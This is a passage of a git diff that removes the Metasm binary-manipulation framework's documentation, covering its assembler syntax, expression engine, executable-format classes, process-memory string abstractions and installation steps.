length, and the new permission, specified as a String (e.g. 'r', 'rwx') - -To work with memory that may be returned by an API (e.g. `malloc`), -DynLdr provides ways to read and write arbitrary pointers from the ruby -interpreter memory. -Take care, those may generate faults when called with invalid addresses that -will crash the ruby interpreter. - -* `memory_read` takes a pointer and a length, and returns a String -* `memory_read_int` takes a pointer, and returns an Integer (of pointer size, -e.g. 64 bit in a 64-bit interpreter) -* `memory_write` takes a pointer and a String, and writes it to memory -* `memory_write_int` - - -Hacking -------- - -Internally, DynLdr relies on a number of features that are not directly -available from the ruby interpreter. - -So the first thing done by the script is to generate a binary native module -that will act as a C extension to the ruby interpreter. -This binary is necessarily different depending on the interpreter. -The binary name includes the target architecture, in the format -dynldr-*arch*-*cpu*-*19*.so, e.g. - -* dynldr-linux-ia32.so -* dynldr-windows-x64-19.so - -This native module is (re)generated if it does not exist, or is older than the -`dynldr.rb` script. - -A special trick is used in this module, as it does not know the actual name -of the ruby library used by the interpreter. So on linux, the `libruby` is -removed from the `DT_NEEDED` library list, and on windows a special stub -is assembled to manually resolve the ruby imports needed by the module from -any instance of `libruby` present in the running process. - -The native file is written to a directory writeably by the current user. -The following list of directories are tried, until a suitable one is found: - -* the `metasm` directory itself -* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory -* the `$TMP`/`$TEMP`/current directory - diff --git a/lib/metasm/doc/core/ExeFormat.txt b/lib/metasm/doc/core/ExeFormat.txt deleted file mode 100644 index 55a874c80b..0000000000 --- a/lib/metasm/doc/core/ExeFormat.txt +++ /dev/null @@ -1,43 +0,0 @@ -ExeFormat -========= - -This class is the parent of all executable format handlers. - -It is defined in `metasm/exe_format/main.rb`. - -It defines some standard shortcut functions, such as: - -* `Exe.decode_file(filename)` -* `Exe.assemble(cpu,asm_source)` -* `Exe.compile_c(cpu,c_source)` -* `Exe#encode_file(filename)` - -These methods will instanciate a new Exe, and call the corresponding -methods, *e.g.* `load` with the file content, and `decode`. - -The handling of the different structures in the binary format should be -done using the facility. - -The subclasses are expected to implement various functions, depending on the -usage (refer to the ELF and COFF implementations for more details): - -File decoding/disassembly -------------------------- - -* `#decode_header`: parse the raw data in `#encoded` only to parse the file header -* `#decode`: parse all the raw data in `#encoded` -* `#cpu_from_headers`: return a instance according to the exe header information -* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc) -* `#dump_section_header`: return a string that may be assembled to recreate the specified section -* `#section_info`: return a list of generic section informations for the disassembler - - -File encoding/source parsing ----------------------------- - -* `#tune_prepro`: define exe-specific macros for the preprocessor (optional) -* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source -* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`... -* `#assemble`: assemble the content of the @cursource into binary section contents -* `#encode`: assemble the various sections and a binary header into `@encoded` - diff --git a/lib/metasm/doc/core/Expression.txt b/lib/metasm/doc/core/Expression.txt deleted file mode 100644 index 2009e39b28..0000000000 --- a/lib/metasm/doc/core/Expression.txt +++ /dev/null @@ -1,220 +0,0 @@ -Expression -========== - -Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g. -* `42` -* `eax + 12` -* `loc_4228h + 4*ebx - 12` - -These expressions can include `Integers`, `Symbols`, and `Strings`. - -The symbols and strings represent arbitrary variables, with the convention that -strings represent fixed quantities (eg addresses, labels), whereas symbols -represent more variable stuff (eg register values). - -There is also a special symbol that may be used, `:unknown`, to represent a -value that is known to be unknown. See the `reduce` section. - -See also . - -The Expression class holds all methods relative to Integer binary manipulation, -that is `encoding` and `decoding` from/to a binary blob (see also -) - - -Members -------- - -Expressions hold exactly 3 members: -* `lexpr`, the left-hand side of the expression -* `rexpr`, the right-hand side -* `op`, the operator - -`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or -Expression. For unary operators, `lexpr` is `nil`. - -`op` is a Symbol representing the operation. -It should be from the list: -* arithmetic: `+ - / * >> << & | ^` -* boolean: `|| && == != > >= < <=` -* unary: `+ - ~ !` - - -Instantiation -------------- - -In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`, -`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except -for negative numeric values, which is stored with `op` == `:-` and `rexpr` == -abs). - -If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called -recursively, to ease the definition of nested Expressions. - -Exemples: - - Expression[42] - Expression[:eax, :+, 12] - Expression[:-, 'my_var'] - Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]] - -The Expression class also includes a parser, to allow creating an expression -from a string. `parse_string!` will create an Expression and update its -argument to point after the last part read successfully into the expr. -The parser handles standard C operator precedence. - - str = "1 + var" - Expression.parse_string!(str) # => Expression[1, :+, "var"] - str = "42 bla" - Expression.parse_string!(str) # => Expression[42] - str # => "bla" - -Use `parse_string` without the ! to parse the string without updating it. - -External variables ------------------- - -The `externals` method will return all non-integer members of the Expression. - - Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"] - - -Pattern matching ----------------- - -The `match` method allows to check an Expression against a pattern without -having to check individual members. The pattern should be an Expression, -whose variable members should be Strings or Symbols, which are also passed as -arguments to the match function. On successful match, the correspondance -between variable patterns and their actual value matched is returned as a Hash. - - Expression[1, :+, 2].match(Expression['var', :+, 2], 'var') - # => { 'var' => 1 } - Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var') - # => nil - Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op) - # => { 'var' => 1, :op => :+ } - - -Reduction ---------- - -Metasm Expressions include a basic symbolic computation engine, that allows -some simple transformations of the Expression. The reduction will also -compute numerical values whenever possible. If the final result is fully -numeric, an Integer is returned, otherwise a new Expression is returned. - -In this context, the special value `:unknown` has a particular meaning. - - Expression[1, :+, 2].reduce - # => 3 - Expression[:eax, :+, [:ebx, :-, :eax]].reduce - # => Expression[:ebx] - Expression[1, :+, [:eax, :+, 2]].reduce - # => Expression[:eax, :+, 3] - Expression[:unknown, :+, :eax].reduce - # => Expression[:unknown] - -The symbolic engine operates mostly on addition/substractions, and -no-operations (eg shift by 0). It also handles some boolean composition. - -The detail can be found in the #replace_rec method body, in `metasm/main.rb`. - -The reduce method can also take a block argument, which will be called at -every step in the recursive reduction, for custom operations. If the block -returns nil, the result is unchanged, otherwise the new value is used as -replacement. For exemple, if you operate on 32-bit values and want to get rid -of `bla & 0xffffffff`, use - - some_expr.reduce { |e| - if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff - e.lexpr - end - } - - -Binding -------- - -An expression involving variable externals can be bound using a Hash. This will -replace any occurence of a key of the Hash by its value in the expression -members. The `bind` method will return a new Expression with the substitutions, -and the `bind!` method will update the Expression in-place. - - Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce - # => 12 - Expression[:eax, :+, :ebx].bind(:ebx => 42) - # Expression[:eax, :+, 42] - Expression[:eax, :+, :ebx].bind(:ebx => :ecx) - # Expression[:eax, :+, :ecx] - -You can use Expressions as keys, but they will only be used on perfect matches. - - -Binary packing --------------- - -Encoding -######## - -The `encode` method will generate an EncodedData holding the expression, either -as binary if it can reduce to an integral value, or as a relocation. -The arguments are the relocation type and the endianness, plus an optional -backtrace (to notify the user where an overflowing relocation comes from). - -The `encode_imm` class method will generate a raw String for a given -integral value, a type and an endianness. -The type can be given as a byte size. - - Expression.encode_imm(42, :u8, :little) # => "*" - Expression.encode_imm(42, 1, :big) # => "*" - Expression.encode_imm(256, :u8, :little) # raise EncodeError - -On overflows (value cannot be encoded in the bit field) an EncodeError -exception is raised. - -Decoding -######## - -The `decode_imm` class method can be used to read a binary value into an -Integer, with an optional offset into the binary string. - - Expression.decode_imm("*", :u8, :little) # => 42 - Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2 - - -Arithmetic coercion -------------------- - -Expression implement the `:+` and `:-` ruby methods, so that `expr + 4` -works as expected. The result is reduced. - - -Integer methods ---------------- - -The Expression class offers a few methods to work with integers. - -make_signed -########### - -`make_signed` will convert a raw unsigned to its equivalent signed value, -given a bit size. - - Expression.make_signed(1, 16) # => 1 - Expression.make_signed(0xffff, 16) # => -1 - - -in_range? -######### - -`in_range?` can check if a given numeric value would fit in a particular - field. The method can return true or false if it -fits or not, or `nil` if the result is unknown (eg the expr has no numeric -value). - - Expression.in_range?(42, :i8) # => true - Expression.in_range?(128, :i8) # => false - Expression.in_range?(-128, :i8) # => true - Expression.in_range?(Expression['bla'], :u32) # => nil - diff --git a/lib/metasm/doc/core/GNUExports.txt b/lib/metasm/doc/core/GNUExports.txt deleted file mode 100644 index e50800afe7..0000000000 --- a/lib/metasm/doc/core/GNUExports.txt +++ /dev/null @@ -1,27 +0,0 @@ -GNUExports -========== - -This class is defined in `metasm/os/gnu_exports.rb` - -It defines an `EXPORT` constant, a Hash, whose keys -are the standard linux API symbol names, and values -are the library name where you can find this symbol. - -The equivallent for windows is - -Usage ------ - -The main usage of this class is the automatic generation -of the dynamic tag `DT_NEEDED` from the -external symbols referenced by a binary during compilation. - -This is done in the `automagic_symbols` method. - -Symbols -------- - -The current version holds the symbols of the debian -glibc, from `libc.so.6` and `libdl.so.2`. - -Ruby symbols are also defined, from `libruby1.8.so.1.8`. diff --git a/lib/metasm/doc/core/Ia32.txt b/lib/metasm/doc/core/Ia32.txt deleted file mode 100644 index 3316d17106..0000000000 --- a/lib/metasm/doc/core/Ia32.txt +++ /dev/null @@ -1,234 +0,0 @@ -Ia32 -==== - -The Ia32 architecture, aka *Intel_x86*, is the most advanced among the -architectures implemented in the framework. It is a subclass of the -generic . - -It can handle binary code for the 16 and 32bits modes of the processor. - -It is a superclass for the object, a distinct processor -that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*) - -The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix -if bigendian) - -Opcodes -------- - -The opcodes list can be customized to match that available on a specific -version of the processor. The possibilities are: - -* 386_common -* 386 -* 387 -* 486 -* pentium -* p6 -* 3dnow -* sse -* sse2 -* sse3 -* vmx -* sse42 - -Most opcodes are available in the framework, with the notable exception of: - -* most sse2 simd instructions -* the AVX instructions -* amd-specific instructions - -The `386_common` family is the subset of 386 instruction that are most -commonly found in standard usermode programs (no `in`/`out`/bcd -arithmetic/far call/etc). -This can be useful when manipulating stuff that in not known to be i386 -binary code. - - -Initialization --------------- - -An Ia32 object can be created using the following code: - - Metasm::Ia32.new - -The `X86` alias may be used in place of `Ia32`. - -The constructor accepts optional arguments to specify the CPU size, the -opcode family, and the endianness of the processor. The arguments can -be given in any order. For exemple, - - Metasm::Ia32.new(16, 'pentium', :big) - -will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family, -in big-endian mode. - -The Ia32 initializer has the convenience feature that it will create an -X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an -X86_64 instance) - - -Assembler ---------- - -The parser handles only Intel-style asm syntax, *e.g.* - - some_label: - mov eax, 10h - mov ecx, fs:[eax+16] - push dword ptr fs:[1Ch] - call ecx - test al, al - jnz some_label - ret - fmulp ST(4) - - -Instruction arguments -##################### - -The parser recognizes standard registers, such as - -* `eax` -* `ah` -* `mm4` (mmx 64bit register) -* `xmm2` (xmm 128bit register) -* `ST` (current top of the FPU stack) -* `ST(3)` (FPU reg nr.3) -* `cs` (segment register) -* `dr3` (debug register) -* `cr2` (control register) - -It also supports inexistant registers, such as - -* `cr7` -* `dr4` -* `segr6` (segment register nr.6) - -The indirections are called `ModRM`. They take the form: - -* `[eax]` (memory pointed by `eax`) -* `byte ptr [eax]` (1-byte memory pointed by `eax`) -* `byte [eax]` (same as previous) -* `fs:[eax]` (offset `eax` from the base of the `fs` segment) -* `[fs:eax]` (same as previous) - -The pointer itself can be: - -* `[eax]` (any register) -* `[eax+12]` (base + numeric offset) -* `[eax+ebx]` (base + register index) -* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index) -* `[eax + 2*ebx + 42]` (both) - -Note that the form base + s*index cannot use `esp` as index with s != 1. - -For indirection sizes, the size is taken from the size of other arguments -if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]` -will be 1). The explicit size specifier can be: - -* `byte` (8bits) -* `word` (16) -* `dword` (32) -* `qword` (64) -* `oword` (128) -* `_12bits` (12, arbitrary numbers can be used) - - -Parser commands -############### - -The following commands are recognized in an asm source: - -* `.mode` -* `.bits` - -They are synonymous, and serve to change the mode of the processor to either -16 or 32bits. - -They should be the first instruction in the source, changing the mode during -parsing is not supported. This would change only the mode for the next -instructions to be parsed, and for all instructions (incl. those already parsed -at this point) when encoding, which is likely **not** what you want. See the -`codeXX` prefixes. - -Note that changing the CPU size once it was created may have bad side-effects. -For exemple, some preprocessor macros may already have been generated according -to the original size of the CPU and will be incorrect from this point on. - - -Prefixes -######## - -The following prefixes are handled: - -* `lock` -* `rep`, `repz`, `repnz`, `repe`, `repne` -* `code16`, `code32` - -The `repXX` prefixes are for string operations (`movsd` etc), but will be set -for any opcode. Only the last of the family will be encoded. - -The `code16` will generate instructions to be run on a CPU in 16bit mode, -independantly of the global CPU mode. For exemple, - - code16 mov ax, 42h - -will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or -run incorrectly on an 32bit CPU. - -The encoder also has code to handle `jmp hints` prefixes, but the parser has -no equivalent prefix support. - -There is currently no way to specify a segment-override prefix for instruction -not using a ModRM argument. Use a `db 26h` style line. - - -Suffixes -######## - -The parser implements a specific feature to allow the differenciation of -otherwise ambiguous opcodes, in the form of instruction suffixes. - -By default, the assembler will generate the shortest encoding for a given -instruction. To force encoding of another form you can add a specific -suffix to the instruction. In general, metasm will use e.g. register sizes -when possible to avoid this kind of situations, but with immediate-only -displacement this is necessary. - - or.a16 [1234h], eax ; use a 16-bit address - or [bx], eax ; use a 16-bit address (implicit from the bx register) - or eax, 1 ; "\x83\xc8\x01" - or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding) - or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field) - movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di]) - push.i16 42h ; push a 16-bit integer - -The suffixes are available as follow: - -* if the opcode takes an integer argument that can be encoded as either a 8bits or bits, the `.i` and `.i8` variants are created -* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created -* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created - - -C parser --------- - -The Ia32 C parser will initialize the type sizes with the `ilp32` memory -model, which is: - -* short = 16bits -* int = 32bits -* long = 32bits -* long long = 64bits -* pointer = 32bits - -In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits -compiler has not been tested anyway). - -The following macros are defined (in the asm preprocessor too) - -* `_M_IX86` = 500 -* `_X86_` -* `__i386__` - diff --git a/lib/metasm/doc/core/SerialStruct.txt b/lib/metasm/doc/core/SerialStruct.txt deleted file mode 100644 index c4ce128743..0000000000 --- a/lib/metasm/doc/core/SerialStruct.txt +++ /dev/null @@ -1,108 +0,0 @@ -SerialStruct -============ - -This is a helper class to handle binary packed data, especially to -represent structures. - -The implementation is in `metasm/exe_format/serialstruct.rb`. - -Basics ------- - -The class defines some class methods, such as: - -* `dword` -* `byte` -* `strz` - -These methods can be used directly in subclass definitions, e.g. - - class MyHeader < SerialStruct - dword :signature - dword :length - end - -This will associate the sequence of fields to this structure, which -is used in the `#encode` and `#decode` methods. -These methods rely on an instance to define -the corresponding `decode_dword` and `encode_dword` methods. - -You can then simply call: - - hdr = MyHeader.decode(myexefmt) - -which will call `myexefmt.decode_word` twice to populate the -`signature` and `length` fields of the MyHeader.instance. - -You can also redefine the `#decode` method to handle special cases. - - -The fields defined this way can be assigned a default value that -will be used when encoding the structure. The syntax is: - - dword :fieldname, defaultvalue - -If you have a long sequence of identically-typed fields, you can use -the plural form: - - dwords :f1, :f2, :f3, :f4 - -To define your own field types, you should create a new subclass and call the -`new_field` class method. For integral fields, use `new_int_field(fldname)` -that will automatically define the decode/encode routines, and create the -plural form. - - class MyStruct < SerialStruct - new_int_field :zword - zwords :offset, :length - end - - -Symbolic constants ------------------- - -The class has built-in support for symbolic constants and bit fields. - -For exemple, suppose you have a numeric `:type` field, which corresponds -to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use: - - TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' } - - dword :type - fld_enum :type, TYPES - -With this, the standard '#decode' method will first decode the numeric value -of the field, and then lookup the value in the enum hash to find the -corresponding symbol, and use it as the field value. -If there is no mapping, the numeric value is retained. The reverse operation -is done with `#encode`. - -For the bitfields, the method is `fld_bits`, and the software will try to -match *OR-ed* values from the bitfield to generate an array of symbols. - - BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' } - - dword :foo - fld_bits :foo, BITS - -which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]` - -The hashes used for fld_bits or fld_enum can be dynamically determined, by -using the block version of those methods. The block will receive the ExeFormat -instance and the SerialStruct instance, and should return the Hash. -This can be useful when a bitfield signification varies given some generic -property of the exe, eg the target architecture. - - -Hooks ------ - -It is also possible to define a hook that will be called at some point during -the object binary decoding. It will receive the exe and struct instances. - - class Header < SerialStruct - dword :machine - decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 } - dword :bodylength - end - diff --git a/lib/metasm/doc/core/VirtualString.txt b/lib/metasm/doc/core/VirtualString.txt deleted file mode 100644 index 01f8fe5b80..0000000000 --- a/lib/metasm/doc/core/VirtualString.txt +++ /dev/null @@ -1,145 +0,0 @@ -VirtualString -============= - -This class is an abstract representation of an arbitrary sized byte array -with methods to load parts of it on demand. It is useful to represent -a program virtual memory and allow metasm to work on it while only reading -bytes from it when actually needed. - -The base class is defined in `metasm/os/main.rb`. - - -Basics ------- - -The API of the object is designed to be compatible with a standard String (ASCII-8BIT). -The main restriction is that the size of this string cannot be changed: -concatenation / shortening is not supported. - -The main operation on the object should be `[]` and `[]=`, that is, -reading some subpart of the string, or overwriting some substring. -The arguments are the same as for a String, with the exception that -rewrite raises an IndexError if the rewriting would change the string -length. - -A few methods are written specifically with the VirtualString semantics, -others are redirected to a temporary real String generated with `realstring`. - -The VirtualString works with a `page` concept, that represents some arbitrary -chunks of data that can be actually read from the underlying target, e.g. a -memory page (4096 bytes) when mapping a process virtual address space. -Instances get to define a `pagelength` sound for the specific implementation. - -Whenever a substring is requested from a VirtualString, if the substring -length is less than the page size, an actual read is made and a String is -returned. - -If the length is greater however, a new VirtualString is created to map this -new *view* without actually reading. - -To force the conversion to a String, use the `realstring` or `to_str` method. -The latter is prefered, as it works on both Strings and VirtualStrings. - -To force the creation of a new VirtualString, use the `dup(start, len)` method. - -When reading actual bytes, a local page cache is used. By default is has only 4 -pages, and can be invalidated using `invalidate`. -The cache is automatically invalidated when part of the string is written to. - -The VirtualString may index *invalid* pages (e.g. unmapped memory range in a -process address space) ; you can check that with `page_invalid?` with an index -as parameter. - - -Creation --------- - -To create your own flavor of VirtualString, you must: - -* define your subclass that inherits from `VirtualString` -* define your initializer, that takes whatever arguments make sense (e.g. a -*pid*, *handle*, Socket..) -* your initializer must call super(a, l) with arguments: -** current view absolute address (should default to 0), will be saved in -`@addr_start` -** current view size (should default to something sensible, like 1<<32), saved -in `@length` -* your initializer can override the default page size by defining the -`@pagelength` variable. -* implement a `dup` method that takes optional arguments: -** new base address (default=`@addr_start`) -** new length (default=`@length`) -** returns a new instance of your class mapping over the specified window -* implement a `get_page` method, whose arguments are: -** absolute page address (will always be page-aligned) -** optional length, default=`@pagelength` -** returns a String of `length` bytes, or `nil` (e.g. unmapped area) -* optionally implement a `rewrite_at` method, to make your string writeable. -Arguments are the absolute write address, and the data to write there (a String). - -Feel free to override any other method with an optimized version. -For exemple, the default `realstring` will repeatadly call `get_page` with -each page in the range 0..`length`, you may have a more efficient alternative. - -You can alter the cache size by rewriting the `@pagecache_len` variable -**after** calling `super()` in `initialize`. The default value is 4, which you -may want to increase. - -See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid` -method). - -Standard subclasses -------------------- - -VirtualFile -########### - -Defined in `metasm/os/main.rb`. - -This class maps over an open file descriptor, and allows reading data on-demand. -It implements the `read` class method, similar to `File.read`, with the -file opened in binary mode. For a small file (<=4096), the content is -directly returned, otherwise a VirtualString is created. - -This class is used by the default `decode_file[_header]` -methods. - - -LinuxRemoteString -################# - -Defined in `metasm/os/linux.rb`. - -This class maps over the virtual memory of a Linux process. -Accesses are done through the `/proc//mem` for reading. -The linux kernel requires that the target process be ptraced before we can -read this file, so the object will use the debugger instance passed to the -constructor, or create a new object to stop the process -and read its memory during `get_page`. - -If a object was given, `get_page` will return `nil` if the -debugger indicates that the target is not stopped. - -Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`. - - -WindowsRemoteString -################### - -Defined in `metasm/os/windows.rb`. - -This class maps over the virtual memory of a Windows process. - -The memory accesses are done using the `Read/WriteProcessMemory` API. - -The class method `open_pid` is defined, that will try to `OpenProcess` -first in read/write, and fallback to read-only mode. - - -GdbRemoteString -############### - -Defined in `metasm/os/remote.rb`. - -Maps over the virtual memory of a remote process debugged with a - instance, using `setmem` and `getmem`. diff --git a/lib/metasm/doc/core/WindowsExports.txt b/lib/metasm/doc/core/WindowsExports.txt deleted file mode 100644 index f483e77167..0000000000 --- a/lib/metasm/doc/core/WindowsExports.txt +++ /dev/null @@ -1,61 +0,0 @@ -WindowsExports -============== - -This class is defined in `metasm/os/windows_exports.rb` - -It defines an `EXPORT` constant, a Hash, whose keys -are the standard win32 API symbol names, and values -are the library name where you can find this symbol. - -The equivalent for GNU/Linux is - -Usage ------ - -The main usage of this class is the automatic generation -of the import directories from the -external symbols referenced by a binary during compilation. - -This is done in the `automagic_symbols` method. - -Symbols -------- - -The current version holds the symbols available in the -Windows XP SP2 32-bit standard libraries: - -* `ntdll` -* `kernel32` -* `user32` -* `gdi32` -* `advapi32` -* `ws2_32` -* `msvcrt` -* `comdlg32` -* `psapi` - - -Ruby symbols are also defined, from `msvcrt-ruby18`. - - -Ruby library name ------------------ - -On creation, the current ruby library name is inferred -from the `RUBY_PLATFORM` constant, in an effort to -try to use the available ruby library filename. - -The only transformation supported now is to rewrite -the ruby version number appearing in the filename for -msvcrt-compiled binaries, so that you get the correct -`msvcrt-ruby192` name for exemple under ruby1.9. - -This is implemented in the `patch_rubylib_to_current_interpreter` -method (which is aptly named). - -Warning -####### - -Note that binaries compiled this way will not work on -other machines where the exact same library is unavailable. - diff --git a/lib/metasm/doc/core/index.txt b/lib/metasm/doc/core/index.txt deleted file mode 100644 index ba60d4c253..0000000000 --- a/lib/metasm/doc/core/index.txt +++ /dev/null @@ -1 +0,0 @@ -See diff --git a/lib/metasm/doc/core_classes.txt b/lib/metasm/doc/core_classes.txt deleted file mode 100644 index a39c38fa3e..0000000000 --- a/lib/metasm/doc/core_classes.txt +++ /dev/null @@ -1,75 +0,0 @@ -Core classes -============ - -Core ----- - -* -* -* -* -* - -CPUs ----- - -* -* -* -* -* -* - -ExeFormats ----------- - -* -* -* - -* -* -* -* - -C ----- - -* -* -* - -Debugger --------- - -* -* -* -* -* -* -* - -Disassembler ------------- - -* -* -* -* -* - -GUI ----- - -* -* -* - -* -* - -Others ------- - -* diff --git a/lib/metasm/doc/feature_list.txt b/lib/metasm/doc/feature_list.txt deleted file mode 100644 index 26e7c5b02a..0000000000 --- a/lib/metasm/doc/feature_list.txt +++ /dev/null @@ -1,53 +0,0 @@ -Metasm feature list -=================== - -Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger. - -See - -Architectures -------------- - -It is written in such a way that it is easy to add support for new architectures. -For now, the following architectures are in: - -* Intel (16 and 32bits) -* Intel (*aka* Ia32 64bits, X64, AMD64) -* MIPS -* PowerPC -* Sh4 - -The developpement is generally more focused on Ia32 and X86_64. - - -File formats ------------- - -The following executable file formats are supported: - -* (raw binary) -* / (32/64bits) -* (32/64bits) - -Those are supported in a more limited way: - -* Mach-O, UniversalBinary -* MZ -* A.out -* XCoff -* NDS - - -Features --------- - -The framework includes - -* a graphical -* a graphical -* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer) -* an advanced disassembler engine, with limited emulation support -* a full (with preprocessor) -* an experimental (Ia32 only) -* an experimental (Ia32 only) - diff --git a/lib/metasm/doc/index.txt b/lib/metasm/doc/index.txt deleted file mode 100644 index 8cd8f8fecb..0000000000 --- a/lib/metasm/doc/index.txt +++ /dev/null @@ -1,59 +0,0 @@ -The Metasm framework documentation -================================== - -Metasm ------- - -The Metasm framework is an opensource software designed to interact with -the various forms of binary code. It is written in pure Ruby -(). - -More detailed informations can be found in the . - -It is distributed freely under the terms of the LGPL. - -Documentation organisation --------------------------- - -This documentation is split in different parts : - -* the -* the major -* - -The first part describes the internal structure of the framework, the -second part is a higher level overview of the software and shows how -the various parts are used and can interract. The last part explains -the role of the source files and directories. - - -Documentation progress ----------------------- - -The documentation is written here and there in my free time, and is **very** -**incomplete** as of now. Specifically, all internal links you'll find -ending in `.txt` are link to pages that have not been written yet. - - -Install notes -------------- - -See the - -Authors -------- - -Metasm is mostly written by Yoann Guillot. - -Some parts were added by various contributors, including : -* Julien Tinnès -* Raphaël Rigo -* Arnaud Cornet -* Alexandre Gazet - -Contact -------- - -The latest version of this documentation can be found on the Metasm site: - -Patches, bug reports, feature requests should be sent to metasm@cr0.org diff --git a/lib/metasm/doc/install_notes.txt b/lib/metasm/doc/install_notes.txt deleted file mode 100644 index c881f9ac58..0000000000 --- a/lib/metasm/doc/install_notes.txt +++ /dev/null @@ -1,170 +0,0 @@ -Metasm installation notes -========================= - -Metasm is a pure ruby lib, and the core (`metasm/` subdir) does not depend on any -ruby library (except the `metasm/gui`, which may use `gtk2`). - -So the install is quite simple. - - -Download --------- - -Metasm is distributed using the `mercurial` source control system. - -The recommanded way to install is to use that tool, so you can always be -up-to-date with the latest developpements. - -You will also need the Ruby interpreter (version 1.8 and 1.9 are supported). - -Linux -##### - -Issue the following commands to install the `mercurial` and `ruby` software - - sudo apt-get install ruby - sudo apt-get install mercurial - -Then download metasm with - - hg clone http://metasm.cr0.org/hg/metasm/ - -This will create a new directory `metasm/` with the latest version of the -framework. - - -Windows -####### - -The ruby website offers many ruby packages. The *RubyInstaller* should -work fine. Go to , under the -`Ruby on Windows` section. - -The `mercurial` website has links to various installers: - -Choose one, then use the `clone repository` command with the following -url: - - http://metasm.cr0.org/hg/metasm/ - -This will create a new subdirectory `metasm/` with the latest version of -the framework. - - -Upgrading ---------- - -To upgrade to the latest and greatest version, launch a shell prompt and -navigate to the metasm directory, then issue: - - hg pull -u - -which will upgrade your installation to the latest available version. - -With `TortoiseHG`, simply issue the `upgrade` command on the `metasm` -directory. - - -Local installation ------------------- - -If you simply want to install metasm for your personnal usage (VS a -system-wide installation), follow these steps. - -Download the metasm source files under any directory, then update the -environment variable `RUBYLIB` to include this path. The path you add -should be the directory containing the `metasm.rb` script and the `metasm/`, -`samples/`, `doc/` subdirectories. - -If `RUBYLIB` is empty or non-existant, simply set its value to the directory, -otherwise you can append the path to an existing list by separating the values -with a `:` such as: - - RUBYLIB='/foo/bar:/home/jj/metasm' - -Linux -##### - -Under linux or cygwin, this is done by modifying your shell profile, e.g. -`~/.bash_profile`, by adding a line such as: - - export RUBYLIB='/home/jj/metasm' - -You may need to restart your session or start a new shell for the changes -to take effect. - -Windows -####### - -The environment variables can be set through : - -* rightclick on `my computer` -* select tab `advanced` -* click `environment variables` - -If a line RUBYLIB exists, add `;C:\path\to\metasm` at the end, otherwise -create a new variable `RUBYLIB` with the path as value. - -You may need to restart your session for the changes to take effect. - - -Systemwide installation ------------------------ - -For a systemwide installation, you should create a `metasm.rb` file in the `site_ruby` -directory (that would be `/usr/lib/ruby/1.8/` under linux, or `C:\apps\ruby\lib\ruby\1.8\` -for windows users) with the content - - # if metasm.rb can be found in /home/jj/metasm/metasm.rb - require '/home/jj/metasm/metasm' - - -Testing -------- - -Open a new shell session and type - - ruby -r metasm -e "p Metasm::VERSION" - -It should print a single line with a (meaningless) number in it. - - -Gui ----- - -If you intend to use the graphical user-interface (debugger/disassembler), -if you are under Windows with a 32bit x86 ruby, this should work out of the -box. In any other case, you'll need the `ruby-gtk2` library. - -Linux -##### - -Under linux, use your package manager to install `ruby-gtk2`, e.g. for -Debian/Ubuntu, type: - - sudo apt-get install libgtk2-ruby - - -Windows -####### - -If you run a 32bit Ia32 ruby interpreter (check that `ruby -v` returns -something like `[i386-mswin32]`), the Gui should work right away without -`gtk2`, so go directly to the `Testing` part. - -Otherwise, you'll need to install the `gtk2` libs and the ruby bindings -manually. Please follow the instructions at - - - -Testing -####### - -To test the correct working of the Gui, simply launch the -`samples/disassemble-gui.rb` script found in the metasm directory -(double-click on the script, or type `ruby samples/disassemble-gui.rb` at -a command prompt). It should display a window with a menu, and should -answer to a `ctrl-o` keystroke with an `open binary file` dialog. - -See the for more information. - diff --git a/lib/metasm/doc/style.css b/lib/metasm/doc/style.css deleted file mode 100644 index 29402b52cd..0000000000 --- a/lib/metasm/doc/style.css +++ /dev/null @@ -1,3 +0,0 @@ -span.quote { - font-family: monospace; -} diff --git a/lib/metasm/doc/usage/index.txt b/lib/metasm/doc/usage/index.txt deleted file mode 100644 index bdacd7cef9..0000000000 --- a/lib/metasm/doc/usage/index.txt +++ /dev/null @@ -1 +0,0 @@ -See diff --git a/lib/metasm/doc/use_cases.txt b/lib/metasm/doc/use_cases.txt deleted file mode 100644 index 8b5b05bac8..0000000000 --- a/lib/metasm/doc/use_cases.txt +++ /dev/null @@ -1,18 +0,0 @@ -Metasm use cases -================ - -Metasm is intended to be a binary manipulation toolbox. -There are quite a lot of possible usages that 